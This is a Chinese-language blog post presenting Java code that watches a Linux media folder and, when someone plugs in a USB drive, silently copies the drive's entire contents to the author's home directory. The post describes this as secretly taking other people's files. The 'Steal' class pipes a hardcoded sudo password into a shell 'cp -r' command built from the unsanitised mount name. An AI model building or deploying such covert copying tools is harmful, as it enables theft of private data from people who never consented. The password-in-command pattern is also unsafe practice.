admin管理员组文章数量:1558102
突发奇想能不能在别人用我电脑Copy文件的同时,我也神不知鬼不觉的去Copy他U盘的文件。就写了一个程序来试试水。感觉还不错
1.此程序是在linux下写的,有想在windows上玩耍的同学可以改改代码
2. 程序使用WatchService监控文件夹完成是否插入U盘
3.用到Runtime.getRuntime().exec()来完成代码的复制
WatchService:WatchService
这个类可以让你实时的监控操作系统中文件的变化,包括创建、更新和删除事件。WatchService用来观察被注册了的对象的变化和事件。它和 Watchable 两个接口的配合使用,WatchService类似于在观察者模式中的观察者,Watchable类似域观察者模式中的被观察者。
而Java 7中的 java.nio.file.Path 类就实现了Watchable接口,这样的话,和Path类一起可实现观察者模式。
Runtime.getRuntime().exec()方法主要用于执行外部的程序或命令。
================================================================================================
在用WatchService之前,还选择用了最笨的用File的listFiles()方法去监控文件夹的变化。虽然可以实现功能,但还是很弱智。
1.利用WatchService完成实时监控
import java.nio.file.FileSystems;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardWatchEventKinds;
import java.nio.file.WatchEvent;
import java.nio.file.WatchKey;
import java.nio.file.WatchService;
import javax.xml.ws.FaultAction;
public class Monitor {
public static void main(String[] args) {
//初始化被监控的文件夹
//因为linux上U盘插入会在此目录上显示所以监控,所以实时监控此文件夹就行
final Path path = Paths.get("/media/songzr");
//创建WatchService实例,WatchService类似于观察者模式中的观察者
try(WatchService service = FileSystems.getDefault().newWatchService()){
//将path注册到WatchService中
path.register(service, StandardWatchEventKinds.ENTRY_CREATE,
StandardWatchEventKinds.ENTRY_MODIFY,
StandardWatchEventKinds.ENTRY_DELETE);
while(true) {
//注册监听服务,获取事件的各个属性
//serviec.take()这个方法会一直堵塞,直到某个事件发生。
final WatchKey key = service.take();
for(WatchEvent<?> watchEvent : key.pollEvents()) {
final WatchEvent.Kind<?> kind = watchEvent.kind();
//丢失或放弃事件时被触发
if(kind == StandardWatchEventKinds.OVERFLOW) {
continue;
}
//当新的文件夹或者文件出现时
else if(kind == StandardWatchEventKinds.ENTRY_CREATE) {
final WatchEvent<Path> watchEventPath = (WatchEvent<Path>) watchEvent;
final Path filename = watchEventPath.context();
// print it out
System.out.println("U盘 :" + filename + " 已插入");
Steal s = new Steal();
s.steal(filename.toString());
System.out.println("U盘复制完成");
}
//当有任意文件被修改时
else if(kind == StandardWatchEventKinds.ENTRY_MODIFY) {
System.out.println("================");
}
//当文件夹或者文件消失时
else if(kind == StandardWatchEventKinds.ENTRY_DELETE) {
final WatchEvent<Path> watchEventPath = (WatchEvent<Path>) watchEvent;
final Path filename = watchEventPath.context();
// print it out
System.out.println("U盘 :" + filename + " 已拔出");
}
}
//WatchKey实例通过poll或者take返回后,就不会捕获任何事件
//调用reset()方法就可以将这个WatchKey重新回到watchservice队列,可以重新等待新的事件。
boolean valid = key.reset();
if (!valid) {
break;
}
}
} catch (Exception e) {
System.err.println(e);
}
}
}
2.利用Runtime.getRuntime().exec()完成文件复制
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
public class Steal {
//xxxxxxx为用户的password
protected static String sudo = "echo \"140929\" | sudo -S ";
public void steal(String Route) {
try {
//需要偷取的U盘目录
String Un = "/media/songzr/" + Route;
//需要拷贝到自指定的目录
String command = "cp -r " + Un +"/" +" " + "/home/" + Route;
//文件复制需要权限,所以需要用权限执行此指令
String cmds[] = { "/bin/bash", "-c", sudo + command };
//用Runtime.getRuntime().exec()执行shell指令
Process process = Runtime.getRuntime().exec(cmds);
/*
for (String cmd : cmds) {
System.out.print(cmd);
System.out.print(' ');
}
InputStreamReader ir = new InputStreamReader(process.getInputStream());
LineNumberReader input = new LineNumberReader(ir);
String line;
while ((line = input.readLine()) != null) {
System.out.println(line);
}
*/
} catch (Exception e) {
e.printStackTrace();
}
}
}
WatchService监控
File监控
在堆内存的使用情况和上次更新到现在Cpu时间占用百分比的比较下。很明显是用WactchService监控好点。
程序运行图
当U盘插入时
希望各位大佬可以批评指教
版权声明:本文标题:实时监控U盘是否插入 完成秘密copy别人U盘内容 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1727332638a1108731.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论